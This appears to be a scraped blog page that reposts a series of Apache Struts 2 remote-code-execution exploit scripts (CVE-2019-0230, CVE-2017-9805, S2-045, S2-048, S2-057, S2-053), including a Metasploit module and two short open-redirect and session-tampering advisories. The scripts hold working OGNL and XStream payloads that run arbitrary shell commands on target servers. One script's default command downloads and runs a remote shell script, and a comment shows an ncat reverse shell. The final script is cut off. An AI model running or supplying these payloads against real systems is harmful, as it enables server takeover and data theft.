# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation
# Date: 08/18/2020
# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22
# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging
class Exploit:
def __init__(
self,
target='',
redirect=False,
proxy_address=''
):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.target = target
self.session = requests.session()
self.redirect = redirect
self.timeout = 0.5
self.proxies = {
'http': 'http://%s' % proxy_address,
'https': 'http://%s' % proxy_address
} \
if proxy_address is not None \
and proxy_address != '' else {}
self.query_params = {}
self.form_values = {}
self.cookies = {}
boundary = "---------------------------735323031399963166993862150"
self.headers = {
'Content-Type': 'multipart/form-data; boundary=%s' % boundary,
'Accept': '*/*',
'Connection': 'close'
}
payload = "%{(#nike='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
\
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
\
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
\
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \
"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."
\
"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
\
"(#ros.flush())}"
self.payload = "--%s\r\nContent-Disposition: form-data;
name=\"foo\"; " \
"filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (
boundary, payload, boundary
)
def do_get(self, url, params=None, data=None):
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=data,
params=params
)
def do_post(self, url, data=None, params=None):
return self.session.post(
url=url,
data=data,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params
)
def debug(self):
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self
def send_payload(self, command='curl --insecure -sv
https://10.10.10.10/shell.py|python -'):
url = self.target
stdout.write('sending payload to %s payload %s' % (url, command))
resp = self.do_post(url=url, params=self.query_params,
data=self.payload.replace('{COMMAND}', command))
return resp
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True,
description='CVE-2020-0230 Struts
2 exploit')
try:
parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com/index.action')
parser.add_argument('-command', action='store',
help='Command to execute: touch /tmp/pwn')
parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')
if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()
exp = Exploit(
proxy_address=options.proxy,
target=options.target
)
if options.debug:
exp.debug()
stdout.write('target %s debug %s proxy %s\n' % (
options.target, options.debug, options.proxy
))
result = exp.send_payload(command=options.command)
stdout.write('Response: %d\n' % result.status_code)
except Exception as error:
stderr.write('error in main %s' % str(error))
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863110190
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Struts 2.5 - 2.5.12 REST Plugin XStream RCE
# Google Dork: filetype:action
# Date: 06/09/2017
# Exploit Author: Warflop
# Vendor Homepage: https://struts.apache.org/
# Software Link: http://mirror.nbtelecom.com.br/apache/struts/2.5.10/struts-2.5.10-all.zip
# Version: Struts 2.5 – Struts 2.5.12
# Tested on: Struts 2.5.10
# CVE : 2017-9805
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# Struts CVE-2017-9805 Exploit
# Warflop (http://securityattack.com.br/)
# Greetz: Pimps & G4mbl3r
# *****************************************************
import requests
import sys
def exploration(command):
exploit = '''
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
'''
url = sys.argv[1]
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
'Content-Type': 'application/xml'}
request = requests.post(url, data=exploit, headers=headers)
print (request.text)
if len(sys.argv) < 3:
print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
print ('[*] Warflop - http://securityattack.com.br')
print ('[*] Greatz: Pimps & G4mbl3r')
print ('[*] Use: python struts2.py URL COMMAND')
print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
exit(0)
else:
exploration(sys.argv[2])
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Just a demo for CVE-2017-9791
import requests
def exploit(url, cmd):
print("[+] command: %s" % cmd)
payload = "%{"
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
payload += "}"
data = {
"name": payload,
"age": 20,
"__checkbox_bustedBefore": "true",
"description": 1
}
headers = {
'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
}
requests.post(url, data=data, headers=headers)
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("python %s <url> <cmd>" % sys.argv[0])
sys.exit(0)
print('[*] exploit Apache Struts2 S2-048')
url = sys.argv[1]
cmd = sys.argv[2]
exploit(url, cmd)
# $ ncat -v -l -p 4444 &
# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"
#!/usr/bin/python
# -*- coding: utf-8 -*-
import urllib2
import httplib
def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial
print(page)
return page
if __name__ == '__main__':
import sys
if len(sys.argv) != 3:
print("[*] struts2_S2-045.py <url> <cmd>")
else:
print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
url = sys.argv[1]
cmd = sys.argv[2]
print("[*] cmd: %s\n" % cmd)
exploit(url, cmd)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vunlerability in Apache Struts
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
via http Content-Type header.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
'Author' => [
'Nike.Zheng', # PoC
'Nixawk', # Metasploit module
'Chorder', # Metasploit module
'egypt', # combining the above
'Jeffrey Martin', # Java fu
],
'References' => [
['CVE', '2017-5638'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
],
'Privileged' => true,
'Targets' => [
[
'Universal', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
'DisclosureDate' => 'Mar 07 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
]
)
@data_header = "X-#{rand_text_alpha(4)}"
end
def check
var_a = rand_text_alpha_lower(4)
ognl = ""
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
begin
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
if resp && resp.code == 200 && resp.headers[var_a]
vprint_good("Victim operating system: #{resp.headers[var_a]}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
case payload.arch.first
#when ARCH_JAVA
# datastore['LHOST'] = nil
# resp = send_payload(payload.encoded_jar)
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload(generate_payload_exe)
end
require'pp'
pp resp.headers if resp
end
def send_struts_request(ognl, extra_header: '')
uri = normalize_uri(datastore["TARGETURI"])
content_type = "%{(#_='multipart/form-data')."
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
content_type << "(#_memberAccess?"
content_type << "(#_memberAccess=#dm):"
content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
content_type << "(#ognlUtil.getExcludedClasses().clear())."
content_type << "(#context.setMemberAccess(#dm))))."
content_type << ognl
content_type << "}"
headers = { 'Content-Type' => content_type }
if extra_header
headers[@data_header] = extra_header
end
#puts content_type.gsub(").", ").\n")
#puts
resp = send_request_cgi(
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end
def execute_command(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|
send_struts_request(ognl, extra_header: cmd)
end
def send_payload(exe)
ognl = ""
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
# Using stuff from the sun.* package here means it likely won't work on
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
# work and I don't see a better way of getting binary data onto the
# system. =/
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
ognl << %q|(#fos.write(#d)).|
ognl << %q|(#fos.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete())|
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
end
end
=begin
Doesn't work:
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
ognl << %q|(#m.invoke(null,null)).|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
#ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('run',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
#ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
#ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).| # parse failed
#ognl << %q|(#m=#c.getMethod('main',null)).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884
=end
#!/usr/bin/python
# -*- coding: utf-8 -*-
# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter
import sys
import urllib
import urllib2
import httplib
def exploit(host,cmd):
print "[Execute]: {}".format(cmd)
ognl_payload = "${"
ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
ognl_payload += "(#cmd='{}').".format(cmd)
ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
ognl_payload += "(#p.redirectErrorStream(true))."
ognl_payload += "(#process=#p.start())."
ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
ognl_payload += "(#ros.flush())"
ognl_payload += "}"
if not ":" in host:
host = "{}:8080".format(host)
# encode the payload
ognl_payload_encoded = urllib.quote_plus(ognl_payload)
# further encoding
url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))
print "[Url]: {}\n\n\n".format(url)
try:
request = urllib2.Request(url)
response = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
response = e.partial
print response
if len(sys.argv) < 3:
sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
exploit(sys.argv[1],sys.argv[2])
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code uses a payload from:
# https://github.com/jas502n/St2-057
# *****************************************************
import argparse
import random
import requests
import sys
try:
from urllib import parse as urlparse
except ImportError:
import urlparse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'id')",
action='store',
default='id')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*'
}
timeout = 3
def parse_url(url):
"""
Parses the URL.
"""
# url: http://example.com/demo/struts2-showcase/index.action
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urlparse.urlparse(url).scheme
# Site: http://example.com
site = scheme + '://' + urlparse.urlparse(url).netloc
# FilePath: /demo/struts2-showcase/index.action
file_path = urlparse.urlparse(url).path
if (file_path == ''):
file_path = '/'
# Filename: index.action
try:
filename = url.split('/')[-1]
except IndexError:
filename = ''
# File Dir: /demo/struts2-showcase/
file_dir = file_path.rstrip(filename)
if (file_dir == ''):
file_dir = '/'
return({"site": site,
"file_dir": file_dir,
"filename": filename})
def build_injection_inputs(url):
"""
Builds injection inputs for the check.
"""
parsed_url = parse_url(url)
injection_inputs = []
url_directories = parsed_url["file_dir"].split("/")
try:
url_directories.remove("")
except ValueError:
pass
for i in range(len(url_directories)):
injection_entry = "/".join(url_directories[:i])
if not injection_entry.startswith("/"):
injection_entry = "/%s" % (injection_entry)
if not injection_entry.endswith("/"):
injection_entry = "%s/" % (injection_entry)
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
injection_entry += parsed_url["filename"]
injection_inputs.append(injection_entry)
return(injection_inputs)
def check(url):
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
multiplication_value = random_value * random_value
injection_points = build_injection_inputs(url)
parsed_url = parse_url(url)
print("[%] Checking for CVE-2018-11776")
print("[*] URL: %s" % (url))
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
attempts_counter = 0
for injection_point in injection_points:
attempts_counter += 1
print("[%s/%s]" % (attempts_counter, len(injection_points)))
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
continue
if "Location" in resp.headers.keys():
if str(multiplication_value) in resp.headers['Location']:
print("[*] Status: Vulnerable!")
return(injection_point)
print("[*] Status: Not Affected.")
return(None)
def exploit(url, cmd):
parsed_url = parse_url(url)
injection_point = check(url)
if injection_point is None:
print("[%] Target is not vulnerable.")
return(0)
print("[%] Exploiting...")
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
return(1)
print("[%] Response:")
print(resp.text)
return(0)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), "r")
URLs_List = f_file.read().replace("\r", "").split("\n")
try:
URLs_List.remove("")
except ValueError:
pass
f_file.close()
except Exception as e:
print("Error: There was an error in reading list file.")
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
print("[%] Done.")
if __name__ == "__main__":
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print("\nKeyboardInterrupt Detected.")
print("Exiting...")
exit(0)
source: https://www.securityfocus.com/bid/61196/info
Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
An attacker can leverage these issues by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.
Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable.
http://www.example.com/struts2-showcase/fileupload/upload.action?redirect:http://www.example.com/
http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23
source: https://www.securityfocus.com/bid/50940/info
Apache Struts is prone to a security-bypass vulnerability that allows session tampering.
Successful attacks will allow attackers to bypass security restrictions and gain unauthorized access.
Apache Struts versions 2.0.9 and 2.1.8.1 are vulnerable; other versions may also be affected.
http://www.example.com/SomeAction.action?session.somekey=someValue
import requests
import sys
from urllib import quote
def exploit(url):
res = requests.get(url, timeout=10)
if res.status_code == 200:
print "[+] Response: {}".format(str(res.text))
print "\n[+] Exploit Finished!"
else:
print "\n[!] Exploit Failed!"
if __name__ == "__main__":
if len(sys.argv) != 4:
print """****S2-053 Exploit****
Usage:
exploit.py <url> <param> <command>
Example:
exploit.py "http://127.0.0.1/" "name" "uname -a"
"""
exit()
url = sys.argv[1]
param = sys.argv[2]
command = sys.argv[3]
